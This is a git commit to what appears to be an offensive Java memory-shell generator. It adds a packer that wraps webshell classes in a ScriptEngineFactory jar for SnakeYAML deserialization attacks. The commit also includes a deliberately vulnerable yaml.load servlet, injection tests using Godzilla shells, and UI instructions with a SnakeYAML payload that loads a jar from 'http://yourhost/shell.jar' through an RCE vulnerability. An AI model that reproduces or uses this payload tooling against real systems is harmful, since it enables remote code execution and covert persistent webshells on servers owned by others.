feat: support scriptEngineJar packer

This commit is contained in:
ReaJason
2025-11-20 00:36:25 +08:00
parent 5e8529a0c7
commit 59fd17355b
25 changed files with 389 additions and 82 deletions
@@ -8,8 +8,8 @@ import com.reajason.javaweb.memshell.config.InjectorConfig;
import com.reajason.javaweb.memshell.config.ShellConfig; import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.ShellToolConfig; import com.reajason.javaweb.memshell.config.ShellToolConfig;
import com.reajason.javaweb.packer.AggregatePacker; import com.reajason.javaweb.packer.AggregatePacker;
import com.reajason.javaweb.packer.JarPacker;
import com.reajason.javaweb.packer.Packer; import com.reajason.javaweb.packer.Packer;
import com.reajason.javaweb.packer.jar.JarPacker;
import org.springframework.web.bind.annotation.*; import org.springframework.web.bind.annotation.*;
import java.util.Base64; import java.util.Base64;
@@ -29,12 +29,12 @@ public class MemShellGeneratorController {
InjectorConfig injectorConfig = request.getInjectorConfig(); InjectorConfig injectorConfig = request.getInjectorConfig();
MemShellResult generateResult = MemShellGenerator.generate(shellConfig, injectorConfig, shellToolConfig); MemShellResult generateResult = MemShellGenerator.generate(shellConfig, injectorConfig, shellToolConfig);
Packer packer = request.getPacker().getInstance(); Packer packer = request.getPacker().getInstance();
if (packer instanceof AggregatePacker) {
return new MemShellGenerateResponse(generateResult, ((AggregatePacker) packer).packAll(generateResult.toClassPackerConfig()));
}
if (packer instanceof JarPacker) { if (packer instanceof JarPacker) {
return new MemShellGenerateResponse(generateResult, Base64.getEncoder().encodeToString(((JarPacker) packer).packBytes(generateResult.toJarPackerConfig()))); return new MemShellGenerateResponse(generateResult, Base64.getEncoder().encodeToString(((JarPacker) packer).packBytes(generateResult.toJarPackerConfig())));
} else if (packer instanceof AggregatePacker) {
return new MemShellGenerateResponse(generateResult, ((AggregatePacker) packer).packAll(generateResult.toClassPackerConfig()));
} else {
return new MemShellGenerateResponse(generateResult, packer.pack(generateResult.toClassPackerConfig()));
} }
return new MemShellGenerateResponse(generateResult, packer.pack(generateResult.toClassPackerConfig()));
} }
} }
@@ -8,11 +8,12 @@ import com.reajason.javaweb.memshell.MemShellGenerator;
import com.reajason.javaweb.memshell.MemShellResult; import com.reajason.javaweb.memshell.MemShellResult;
import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.config.*; import com.reajason.javaweb.memshell.config.*;
import com.reajason.javaweb.packer.JarPacker;
import com.reajason.javaweb.packer.Packers; import com.reajason.javaweb.packer.Packers;
import com.reajason.javaweb.packer.jar.AgentJarPacker; import com.reajason.javaweb.packer.jar.AgentJarPacker;
import com.reajason.javaweb.packer.jar.AgentJarWithJDKAttacherPacker; import com.reajason.javaweb.packer.jar.AgentJarWithJDKAttacherPacker;
import com.reajason.javaweb.packer.jar.AgentJarWithJREAttacherPacker; import com.reajason.javaweb.packer.jar.AgentJarWithJREAttacherPacker;
import com.reajason.javaweb.packer.jar.JarPacker; import com.reajason.javaweb.packer.jar.ScriptEngineJarPacker;
import com.reajason.javaweb.suo5.Suo5Manager; import com.reajason.javaweb.suo5.Suo5Manager;
import lombok.SneakyThrows; import lombok.SneakyThrows;
import lombok.extern.slf4j.Slf4j; import lombok.extern.slf4j.Slf4j;
@@ -21,12 +22,12 @@ import okhttp3.HttpUrl;
import okhttp3.OkHttpClient; import okhttp3.OkHttpClient;
import okhttp3.Request; import okhttp3.Request;
import okhttp3.Response; import okhttp3.Response;
import org.testcontainers.containers.Container;
import org.testcontainers.containers.GenericContainer;
import org.apache.commons.io.FileUtils; import org.apache.commons.io.FileUtils;
import org.apache.commons.lang3.RandomStringUtils; import org.apache.commons.lang3.RandomStringUtils;
import org.apache.commons.lang3.StringUtils; import org.apache.commons.lang3.StringUtils;
import org.apache.commons.lang3.tuple.Pair; import org.apache.commons.lang3.tuple.Pair;
import org.testcontainers.containers.Container;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.utility.MountableFile; import org.testcontainers.utility.MountableFile;
import java.io.IOException; import java.io.IOException;
@@ -107,6 +108,32 @@ public class ShellAssertion {
@SneakyThrows @SneakyThrows
public static void packerResultAndInject(MemShellResult generateResult, String url, String shellTool, String shellType, Packers packer, GenericContainer<?> appContainer) { public static void packerResultAndInject(MemShellResult generateResult, String url, String shellTool, String shellType, Packers packer, GenericContainer<?> appContainer) {
String content = null; String content = null;
if (packer.getInstance() instanceof AgentJarPacker ||
packer.getInstance() instanceof AgentJarWithJREAttacherPacker ||
packer.getInstance() instanceof AgentJarWithJDKAttacherPacker) {
injectAgentJar(generateResult, shellTool, shellType, packer, appContainer);
return;
}
if (packer.getInstance() instanceof ScriptEngineJarPacker) {
byte[] bytes = ((JarPacker) packer.getInstance()).packBytes(generateResult.toJarPackerConfig());
Path tempJar = Files.createTempFile("temp", "jar");
Files.write(tempJar, bytes);
String jarPath = "/" + shellTool + shellType + packer.name() + ".jar";
appContainer.copyFileToContainer(MountableFile.forHostPath(tempJar, 0100666), jarPath);
FileUtils.deleteQuietly(tempJar.toFile());
content = "!!javax.script.ScriptEngineManager [\n" +
" !!java.net.URLClassLoader [[\n" +
" !!java.net.URL [\"file://" + jarPath + "\"]\n" +
" ]]\n" +
"]";
} else {
content = packer.getInstance().pack(generateResult.toClassPackerConfig());
}
injectIsOk(url, shellType, shellTool, content, packer, appContainer);
log.info("send inject payload successfully");
}
private static void injectAgentJar(MemShellResult generateResult, String shellTool, String shellType, Packers packer, GenericContainer<?> appContainer) throws IOException, InterruptedException {
if (packer.getInstance() instanceof AgentJarPacker) { if (packer.getInstance() instanceof AgentJarPacker) {
byte[] bytes = ((JarPacker) packer.getInstance()).packBytes(generateResult.toJarPackerConfig()); byte[] bytes = ((JarPacker) packer.getInstance()).packBytes(generateResult.toJarPackerConfig());
Path tempJar = Files.createTempFile("temp", "jar"); Path tempJar = Files.createTempFile("temp", "jar");
@@ -143,13 +170,10 @@ public class ShellAssertion {
assertThat(stdout, anyOf( assertThat(stdout, anyOf(
containsString("ok") containsString("ok")
)); ));
} else {
content = packer.getInstance().pack(generateResult.toClassPackerConfig());
injectIsOk(url, shellType, shellTool, content, packer, appContainer);
log.info("send inject payload successfully");
} }
} }
@SneakyThrows @SneakyThrows
public static void assertShellIsOk(MemShellResult generateResult, String shellUrl, String shellTool, String shellType, GenericContainer<?> appContainer, GenericContainer<?> pythonContainer) { public static void assertShellIsOk(MemShellResult generateResult, String shellUrl, String shellTool, String shellType, GenericContainer<?> appContainer, GenericContainer<?> pythonContainer) {
switch (shellTool) { switch (shellTool) {
@@ -365,6 +389,7 @@ public class ShellAssertion {
case JavaCommonsCollections4 -> VulTool.postIsOk(url + "/java_deserialize/cc40", content); case JavaCommonsCollections4 -> VulTool.postIsOk(url + "/java_deserialize/cc40", content);
case HessianDeserialize -> VulTool.postIsOk(url + "/hessian", content); case HessianDeserialize -> VulTool.postIsOk(url + "/hessian", content);
case Hessian2Deserialize -> VulTool.postIsOk(url + "/hessian2", content); case Hessian2Deserialize -> VulTool.postIsOk(url + "/hessian2", content);
case ScriptEngineJar -> VulTool.postIsOk(url + "/snakeYaml", content);
case XMLDecoderScriptEngine, XMLDecoderDefineClass -> VulTool.postIsOk(url + "/xmlDecoder", content); case XMLDecoderScriptEngine, XMLDecoderDefineClass -> VulTool.postIsOk(url + "/xmlDecoder", content);
case Base64 -> VulTool.postIsOk(url + "/b64", content); case Base64 -> VulTool.postIsOk(url + "/b64", content);
case BigInteger -> VulTool.postIsOk(url + "/biginteger", content); case BigInteger -> VulTool.postIsOk(url + "/biginteger", content);
@@ -52,7 +52,8 @@ public class Tomcat8DeserializeContainerTest {
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.HessianDeserialize), arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.HessianDeserialize),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Hessian2Deserialize), arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Hessian2Deserialize),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.XMLDecoderScriptEngine), arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.XMLDecoderScriptEngine),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.XMLDecoderDefineClass) arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.XMLDecoderDefineClass),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.ScriptEngineJar)
); );
} }
@@ -0,0 +1,47 @@
package com.reajason.javaweb.asm;
import org.objectweb.asm.ClassReader;
import org.objectweb.asm.ClassVisitor;
import org.objectweb.asm.ClassWriter;
import org.objectweb.asm.Opcodes;
/**
* @author ReaJason
* @since 2025/11/16
*/
public class ClassInterfaceUtils {
public static byte[] addInterface(byte[] bytes, String interfaceName) {
ClassReader cr = new ClassReader(bytes);
ClassWriter cw = new ClassWriter(cr, 0);
ClassVisitor cv = new AddInterfaceClassAdapter(cw, interfaceName.replace('.', '/'));
cr.accept(cv, 0);
return cw.toByteArray();
}
static class AddInterfaceClassAdapter extends ClassVisitor {
private final String interfaceToAdd;
public AddInterfaceClassAdapter(ClassVisitor cv, String interfaceToAdd) {
super(Opcodes.ASM9, cv);
this.interfaceToAdd = interfaceToAdd;
}
@Override
public void visit(int version, int access, String name,
String signature, String superName, String[] interfaces) {
for (String itf : interfaces) {
if (itf.equals(interfaceToAdd)) {
super.visit(version, access, name, signature, superName, interfaces);
return;
}
}
String[] newInterfaces = new String[interfaces.length + 1];
System.arraycopy(interfaces, 0, newInterfaces, 0, interfaces.length);
newInterfaces[interfaces.length] = interfaceToAdd;
super.visit(version, access, name, signature, superName, newInterfaces);
}
}
}
@@ -0,0 +1,120 @@
package com.reajason.javaweb.asm;
import net.bytebuddy.ByteBuddy;
import org.junit.jupiter.api.Test;
import org.objectweb.asm.ClassReader;
import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.Serializable;
import java.util.Collections;
import java.util.List;
import static org.junit.jupiter.api.Assertions.assertEquals;
/**
* @author ReaJason
* @since 2025/11/16
*/
class ClassInterfaceUtilsTest {
@Test
void test() {
String interfaceName = "javax.script.ScriptEngineFactory";
byte[] bytes = new ByteBuddy().redefine(EmptyInterface.class).make().getBytes();
byte[] newBytes = ClassInterfaceUtils.addInterface(bytes, interfaceName);
String[] interfaces = new ClassReader(newBytes).getInterfaces();
assertEquals(1, interfaces.length);
assertEquals(interfaceName.replace(".", "/"), interfaces[0]);
}
@Test
void skipAdd(){
String interfaceName = "javax.script.ScriptEngineFactory";
byte[] bytes = new ByteBuddy().redefine(ScriptEngineFactoryClass.class).make().getBytes();
byte[] newBytes = ClassInterfaceUtils.addInterface(bytes, interfaceName);
String[] interfaces = new ClassReader(newBytes).getInterfaces();
assertEquals(1, interfaces.length);
assertEquals(interfaceName.replace(".", "/"), interfaces[0]);
}
@Test
void addNewInterface(){
String interfaceName = "javax.script.ScriptEngineFactory";
byte[] bytes = new ByteBuddy().redefine(Entity.class).make().getBytes();
byte[] newBytes = ClassInterfaceUtils.addInterface(bytes, interfaceName);
String[] interfaces = new ClassReader(newBytes).getInterfaces();
assertEquals(2, interfaces.length);
assertEquals("java/io/Serializable", interfaces[0]);
assertEquals(interfaceName.replace(".", "/"), interfaces[1]);
}
static class EmptyInterface {
}
static class ScriptEngineFactoryClass implements ScriptEngineFactory {
@Override
public String getEngineName() {
return "";
}
@Override
public String getEngineVersion() {
return "";
}
@Override
public List<String> getExtensions() {
return Collections.emptyList();
}
@Override
public List<String> getMimeTypes() {
return Collections.emptyList();
}
@Override
public List<String> getNames() {
return Collections.emptyList();
}
@Override
public String getLanguageName() {
return "";
}
@Override
public String getLanguageVersion() {
return "";
}
@Override
public Object getParameter(String key) {
return null;
}
@Override
public String getMethodCallSyntax(String obj, String m, String... args) {
return "";
}
@Override
public String getOutputStatement(String toDisplay) {
return "";
}
@Override
public String getProgram(String... statements) {
return "";
}
@Override
public ScriptEngine getScriptEngine() {
return null;
}
}
static class Entity implements Serializable {
}
}
@@ -1,7 +1,4 @@
package com.reajason.javaweb.packer.jar; package com.reajason.javaweb.packer;
import com.reajason.javaweb.packer.JarPackerConfig;
import com.reajason.javaweb.packer.Packer;
/** /**
* @author ReaJason * @author ReaJason
@@ -19,10 +19,7 @@ import com.reajason.javaweb.packer.groovy.GroovyScriptEnginePacker;
import com.reajason.javaweb.packer.h2.H2JSPacker; import com.reajason.javaweb.packer.h2.H2JSPacker;
import com.reajason.javaweb.packer.h2.H2JavacPacker; import com.reajason.javaweb.packer.h2.H2JavacPacker;
import com.reajason.javaweb.packer.h2.H2Packer; import com.reajason.javaweb.packer.h2.H2Packer;
import com.reajason.javaweb.packer.jar.AgentJarPacker; import com.reajason.javaweb.packer.jar.*;
import com.reajason.javaweb.packer.jar.AgentJarWithJDKAttacherPacker;
import com.reajason.javaweb.packer.jar.AgentJarWithJREAttacherPacker;
import com.reajason.javaweb.packer.jar.DefaultJarPacker;
import com.reajason.javaweb.packer.jexl.JEXLPacker; import com.reajason.javaweb.packer.jexl.JEXLPacker;
import com.reajason.javaweb.packer.jinjava.JinJavaPacker; import com.reajason.javaweb.packer.jinjava.JinJavaPacker;
import com.reajason.javaweb.packer.jsp.ClassLoaderJspPacker; import com.reajason.javaweb.packer.jsp.ClassLoaderJspPacker;
@@ -72,7 +69,13 @@ public enum Packers {
Base64URLEncoded(new Base64URLEncoded(), Base64Packer.class), Base64URLEncoded(new Base64URLEncoded(), Base64Packer.class),
GzipBase64(new GzipBase64Packer(), Base64Packer.class), GzipBase64(new GzipBase64Packer(), Base64Packer.class),
Jar(new DefaultJarPacker()), /**
* JSP 打包器
*/
JSP(new JspPacker()),
ClassLoaderJSP(new ClassLoaderJspPacker(), JspPacker.class),
DefineClassJSP(new DefineClassJspPacker(), JspPacker.class),
JSPX(new JspxPacker(), JspPacker.class),
/** /**
* BigInteger * BigInteger
@@ -84,14 +87,6 @@ public enum Packers {
*/ */
BCEL(new BCELPacker()), BCEL(new BCELPacker()),
/**
* JSP 打包器
*/
JSP(new JspPacker()),
ClassLoaderJSP(new ClassLoaderJspPacker(), JspPacker.class),
DefineClassJSP(new DefineClassJspPacker(), JspPacker.class),
JSPX(new JspxPacker(), JspPacker.class),
/** /**
* 脚本引擎打包器 * 脚本引擎打包器
*/ */
@@ -168,6 +163,9 @@ public enum Packers {
H2Javac(new H2JavacPacker(), H2Packer.class), H2Javac(new H2JavacPacker(), H2Packer.class),
H2JS(new H2JSPacker(), H2Packer.class), H2JS(new H2JSPacker(), H2Packer.class),
Jar(new DefaultJarPacker()),
ScriptEngineJar(new ScriptEngineJarPacker()),
XxlJob(new XxlJobPacker()), XxlJob(new XxlJobPacker()),
; ;
private final Packer instance; private final Packer instance;
@@ -2,6 +2,7 @@ package com.reajason.javaweb.packer.jar;
import com.reajason.javaweb.ClassBytesShrink; import com.reajason.javaweb.ClassBytesShrink;
import com.reajason.javaweb.asm.ClassRenameUtils; import com.reajason.javaweb.asm.ClassRenameUtils;
import com.reajason.javaweb.packer.JarPacker;
import com.reajason.javaweb.packer.JarPackerConfig; import com.reajason.javaweb.packer.JarPackerConfig;
import lombok.SneakyThrows; import lombok.SneakyThrows;
import org.apache.commons.io.IOUtils; import org.apache.commons.io.IOUtils;
@@ -2,6 +2,7 @@ package com.reajason.javaweb.packer.jar;
import com.reajason.javaweb.ClassBytesShrink; import com.reajason.javaweb.ClassBytesShrink;
import com.reajason.javaweb.asm.ClassRenameUtils; import com.reajason.javaweb.asm.ClassRenameUtils;
import com.reajason.javaweb.packer.JarPacker;
import com.reajason.javaweb.packer.JarPackerConfig; import com.reajason.javaweb.packer.JarPackerConfig;
import com.reajason.javaweb.packer.jar.attach.Attacher; import com.reajason.javaweb.packer.jar.attach.Attacher;
import com.reajason.javaweb.packer.jar.attach.VirtualMachine; import com.reajason.javaweb.packer.jar.attach.VirtualMachine;
@@ -2,6 +2,7 @@ package com.reajason.javaweb.packer.jar;
import com.reajason.javaweb.ClassBytesShrink; import com.reajason.javaweb.ClassBytesShrink;
import com.reajason.javaweb.asm.ClassRenameUtils; import com.reajason.javaweb.asm.ClassRenameUtils;
import com.reajason.javaweb.packer.JarPacker;
import com.reajason.javaweb.packer.JarPackerConfig; import com.reajason.javaweb.packer.JarPackerConfig;
import com.reajason.javaweb.packer.jar.attach.Attacher; import com.reajason.javaweb.packer.jar.attach.Attacher;
import com.reajason.javaweb.packer.jar.attach.VirtualMachine; import com.reajason.javaweb.packer.jar.attach.VirtualMachine;
@@ -1,5 +1,6 @@
package com.reajason.javaweb.packer.jar; package com.reajason.javaweb.packer.jar;
import com.reajason.javaweb.packer.JarPacker;
import com.reajason.javaweb.packer.JarPackerConfig; import com.reajason.javaweb.packer.JarPackerConfig;
import lombok.SneakyThrows; import lombok.SneakyThrows;
@@ -0,0 +1,38 @@
package com.reajason.javaweb.packer.jar;
import com.reajason.javaweb.asm.ClassInterfaceUtils;
import com.reajason.javaweb.packer.JarPacker;
import com.reajason.javaweb.packer.JarPackerConfig;
import lombok.SneakyThrows;
import java.io.ByteArrayOutputStream;
import java.nio.charset.StandardCharsets;
import java.util.jar.JarEntry;
import java.util.jar.JarOutputStream;
import java.util.jar.Manifest;
/**
* @author ReaJason
* @since 2025/11/16
*/
public class ScriptEngineJarPacker implements JarPacker {
@Override
@SneakyThrows
public byte[] packBytes(JarPackerConfig config) {
String mainClassName = config.getMainClassName();
byte[] mainClassBytes = config.getClassBytes().get(mainClassName);
byte[] bytes = ClassInterfaceUtils.addInterface(mainClassBytes, "javax.script.ScriptEngineFactory");
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
try (JarOutputStream targetJar = new JarOutputStream(outputStream, new Manifest())) {
targetJar.putNextEntry(new JarEntry(mainClassName.replace('.', '/') + ".class"));
targetJar.write(bytes);
targetJar.closeEntry();
targetJar.putNextEntry(new JarEntry("META-INF/services/javax.script.ScriptEngineFactory"));
targetJar.write(mainClassName.getBytes(StandardCharsets.UTF_8));
targetJar.closeEntry();
}
return outputStream.toByteArray();
}
}
@@ -28,6 +28,7 @@ val filesToCopy = objects.fileCollection().from(
dependencies { dependencies {
implementation("com.caucho:hessian:4.0.66") implementation("com.caucho:hessian:4.0.66")
implementation("org.yaml:snakeyaml:1.27")
providedCompile("javax.servlet:javax.servlet-api:3.1.0") providedCompile("javax.servlet:javax.servlet-api:3.1.0")
testImplementation(libs.junit.jupiter) testImplementation(libs.junit.jupiter)
testRuntimeOnly(libs.junit.platform.launcher) testRuntimeOnly(libs.junit.platform.launcher)
@@ -0,0 +1,22 @@
import org.yaml.snakeyaml.Yaml;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
/**
* @author ReaJason
* @since 2025/11/16
*/
@WebServlet("/snakeYaml")
public class SnakeYamlServlet extends HttpServlet {
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String data = req.getParameter("data");
Yaml yaml = new Yaml();
yaml.load(data);
}
}
BIN
View File
Binary file not shown.
@@ -395,7 +395,9 @@ export default function MainConfigCard({
onCheckedChange={field.onChange} onCheckedChange={field.onChange}
/> />
</FormControl> </FormControl>
<Label htmlFor="staticInitialize">{t("common:staticInitialize")}</Label> <Label htmlFor="staticInitialize">
{t("common:staticInitialize")}
</Label>
</FormItem> </FormItem>
)} )}
/> />
@@ -1,27 +1,79 @@
import { ScrollTextIcon } from "lucide-react";
import { useTranslation } from "react-i18next"; import { useTranslation } from "react-i18next";
import CodeViewer from "@/components/code-viewer";
import { Button } from "@/components/ui/button"; import { Button } from "@/components/ui/button";
import { downloadBytes } from "@/lib/utils"; import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card";
import { Separator } from "@/components/ui/separator";
import { downloadBytes, formatBytes } from "@/lib/utils";
import type { MemShellResult } from "@/types/memshell"; import type { MemShellResult } from "@/types/memshell";
export function JarResult({ export function JarResult({
packMethod,
packResult, packResult,
generateResult, generateResult,
}: Readonly<{ packResult: string; generateResult?: MemShellResult }>) { }: Readonly<{
packMethod: string;
packResult: string;
generateResult?: MemShellResult;
}>) {
const { t } = useTranslation(); const { t } = useTranslation();
const isPureJar = packMethod === "Jar";
return ( return (
<div className="flex items-center justify-center"> <Card>
<Button <CardHeader>
type="button" <CardTitle className="text-md flex items-center gap-2">
onClick={() => <ScrollTextIcon className="h-5" />
downloadBytes( <span>{t("common:usage")}</span>
packResult, </CardTitle>
undefined, </CardHeader>
`${generateResult?.shellConfig.server}${generateResult?.shellConfig.shellTool}MemShell`, <CardContent>
) <ol className="list-decimal list-inside space-y-4 text-sm">
} <li className="flex items-center justify-between">
> <span>
{t("common:download")} Jar {t("common:download")} shell.jar (
</Button> {formatBytes(atob(packResult).length)})
</div> </span>
<Button
size="sm"
variant="outline"
className="w-28"
type="button"
onClick={() =>
downloadBytes(
packResult,
undefined,
`${generateResult?.shellConfig.server}${generateResult?.shellConfig.shellTool}MemShell`,
)
}
>
{t("common:download")}
</Button>
</li>
<Separator />
{isPureJar ? (
<>
<li>{t("memshell:tips.download-jar")}</li>
<li>{t("memshell:tips.trigger-injector-class-loading")}</li>
</>
) : (
<>
<li>{t("memshell:tips.download-jar")}</li>
<li>{t("memshell:tips.load-jar-with-scriptenginemanager")}</li>
<CodeViewer
code={`!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://yourhost/shell.jar"]
]]
]`}
language="java"
showLineNumbers={false}
wrapLongLines={true}
header={<div className="text-xs">SnakeYaml Payload</div>}
/>
</>
)}
</ol>
</CardContent>
</Card>
); );
} }
@@ -18,7 +18,7 @@ export function ResultComponent({
}>) { }>) {
const showCode = packMethod === "JSP"; const showCode = packMethod === "JSP";
const isAgent = packMethod.startsWith("Agent"); const isAgent = packMethod.startsWith("Agent");
const isJar = packMethod === "Jar"; const isJar = packMethod.endsWith("Jar");
const { t } = useTranslation(); const { t } = useTranslation();
if (allPackResults) { if (allPackResults) {
return ( return (
@@ -29,7 +29,6 @@ export function ResultComponent({
/> />
); );
} }
if (isAgent) { if (isAgent) {
return ( return (
<AgentResult <AgentResult
@@ -42,31 +41,28 @@ export function ResultComponent({
if (isJar) { if (isJar) {
return ( return (
<JarResult <JarResult
packMethod={packMethod}
packResult={packResult ?? ""} packResult={packResult ?? ""}
generateResult={generateResult} generateResult={generateResult}
/> />
); );
} }
if (!isAgent && !isJar) {
return ( return (
<CodeViewer <CodeViewer
code={packResult ?? ""} code={packResult ?? ""}
header={ header={
<div className="flex items-center justify-between text-xs gap-2"> <div className="flex items-center justify-between text-xs gap-2">
<span> <span>
{t("common:packerMethod")}{packMethod} {t("common:packerMethod")}{packMethod}
</span> </span>
<span className="text-muted-foreground"> <span className="text-muted-foreground">({packResult?.length})</span>
({packResult?.length}) </div>
</span> }
</div> wrapLongLines={!showCode}
} showLineNumbers={showCode}
wrapLongLines={!showCode} language={showCode ? "java" : "text"}
showLineNumbers={showCode} height={350}
language={showCode ? "java" : "text"} />
height={350} );
/>
);
}
return null;
} }
@@ -18,8 +18,7 @@ export function OptionalClassFormField({
const initialShellClassName = form.getValues("shellClassName") ?? ""; const initialShellClassName = form.getValues("shellClassName") ?? "";
const initialInjectorClassName = form.getValues("injectorClassName") ?? ""; const initialInjectorClassName = form.getValues("injectorClassName") ?? "";
const [useRandomClassName, setUseRandomClassName] = useState( const [useRandomClassName, setUseRandomClassName] = useState(
() => () => !(initialShellClassName?.trim() || initialInjectorClassName?.trim()),
!(initialShellClassName?.trim() || initialInjectorClassName?.trim()),
); );
const [savedShellClassName, setSavedShellClassName] = useState( const [savedShellClassName, setSavedShellClassName] = useState(
initialShellClassName, initialShellClassName,
@@ -209,7 +209,9 @@ export default function MainConfigCard({ form, servers }: MainConfigCardProps) {
const renderDynamicFields = useCallback(() => { const renderDynamicFields = useCallback(() => {
const isBodyMethod = watchedProbeMethod === "ResponseBody"; const isBodyMethod = watchedProbeMethod === "ResponseBody";
const needParam = const needParam =
watchedProbeContent === "Command" || watchedProbeContent === "Bytecode" || watchedProbeContent === "ScriptEngine"; watchedProbeContent === "Command" ||
watchedProbeContent === "Bytecode" ||
watchedProbeContent === "ScriptEngine";
const isSleepMethod = watchedProbeMethod === "Sleep"; const isSleepMethod = watchedProbeMethod === "Sleep";
const isServerContent = watchedProbeContent === "Server"; const isServerContent = watchedProbeContent === "Server";
+4 -1
View File
@@ -54,5 +54,8 @@
"tips.specificUrlPattern": "URL Pattern must be specified, e.g., /hello", "tips.specificUrlPattern": "URL Pattern must be specified, e.g., /hello",
"tips.targetServerNotFound": "Target server not found?", "tips.targetServerNotFound": "Target server not found?",
"tips.targetServerRequest": "Request", "tips.targetServerRequest": "Request",
"tips.try-to-use-shell": "Try to use the memory shell" "tips.try-to-use-shell": "Try to use the memory shell",
"tips.download-jar": "Download the jar file and upload it to the public network server, so that it can be accessed through the http link to download",
"tips.load-jar-with-scriptenginemanager": "Load the jar file with javax.script.ScriptEngineManager to implement injection",
"tips.trigger-injector-class-loading": "Trigger the injector class loading with RCE vulnerability"
} }
+3 -3
View File
@@ -55,7 +55,7 @@
"tips.targetServerNotFound": "找不到目标服务?", "tips.targetServerNotFound": "找不到目标服务?",
"tips.targetServerRequest": "请求适配", "tips.targetServerRequest": "请求适配",
"tips.try-to-use-shell": "尝试利用内存马", "tips.try-to-use-shell": "尝试利用内存马",
"shellNotWork": { "tips.download-jar": "下载 jar 包并上传至公网服务器,使其能通过 http 链接访问下载",
"title": "利用失败?" "tips.load-jar-with-scriptenginemanager": "通过 RCE 漏洞使用 javax.script.ScriptEngineManager 加载 jar 包实现注入",
} "tips.trigger-injector-class-loading": "通过 RCE 漏洞触发注入器类加载"
} }
+1 -1
View File
@@ -56,7 +56,7 @@ export default function ProbeShellGenerator() {
seconds: 5, seconds: 5,
sleepServer: "Tomcat", sleepServer: "Tomcat",
shrink: true, shrink: true,
staticInitialize: true staticInitialize: true,
}, },
}); });
+1 -1
View File
@@ -152,7 +152,7 @@ export const probeShellFormSchema = yup.object().shape({
debug: yup.boolean().optional(), debug: yup.boolean().optional(),
byPassJavaModule: yup.boolean().optional(), byPassJavaModule: yup.boolean().optional(),
shrink: yup.boolean().optional(), shrink: yup.boolean().optional(),
staticInitialize: yup.boolean().optional() staticInitialize: yup.boolean().optional(),
}); });
type ProbeValidationResult = ResolverResult<ProbeShellFormSchema>; type ProbeValidationResult = ResolverResult<ProbeShellFormSchema>;
+2 -2
View File
@@ -37,7 +37,7 @@ export function transformToPostData(formValue: MemShellFormSchema) {
const injectorConfig: InjectorConfig = { const injectorConfig: InjectorConfig = {
urlPattern: formValue.urlPattern, urlPattern: formValue.urlPattern,
injectorClassName: formValue.injectorClassName, injectorClassName: formValue.injectorClassName,
staticInitialize: formValue.staticInitialize staticInitialize: formValue.staticInitialize,
}; };
return { return {
shellConfig, shellConfig,
@@ -55,7 +55,7 @@ export function transformToProbePostData(formValue: ProbeShellFormSchema) {
shrink: formValue.shrink, shrink: formValue.shrink,
debug: formValue.debug, debug: formValue.debug,
byPassJavaModule: formValue.byPassJavaModule, byPassJavaModule: formValue.byPassJavaModule,
staticInitialize: formValue.staticInitialize staticInitialize: formValue.staticInitialize,
}; };
const probeContentConfig: ProbeContentConfig = { const probeContentConfig: ProbeContentConfig = {
host: formValue.host, host: formValue.host,